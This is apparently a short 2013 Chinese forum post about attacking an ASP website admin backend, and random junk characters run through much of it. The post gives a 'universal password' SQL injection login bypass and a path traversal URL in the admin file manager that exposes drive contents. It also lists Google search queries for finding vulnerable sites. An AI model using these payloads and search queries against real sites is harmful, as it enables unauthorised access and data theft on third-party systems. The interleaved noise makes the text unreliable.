后台万能密码 'or'='or'
. ?& Q c0 E9 b- @2 q. @9 ~/ | f$ B" R- a5 x3 O0 z6 i
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
5 ?+ t( n" c* p# @- p& gadmin/uploadfile.asp?currentFolder=/upfiles/../
% p3 W* K* s, ^9 s8 o% ]9 y% g) U% |, l
漏洞证明：
5 ^* I: q) H a. L ?/ a$ A4 p9 H7 E) p6 f1 }# U2 k6 U0 f3 H* g
谷歌：inurl:type.asp?id=1 新闻中心
0 j2 E A3 t9 p, H3 b" P) Q: @或者 ：inurl:download_ok.asp?
3 O4 n6 C) S2 ~1 A, [9 V/ M3 ~, P! b1 Q" A \
|
发表于 2013-3-14 20:17:32
收藏
支持
反对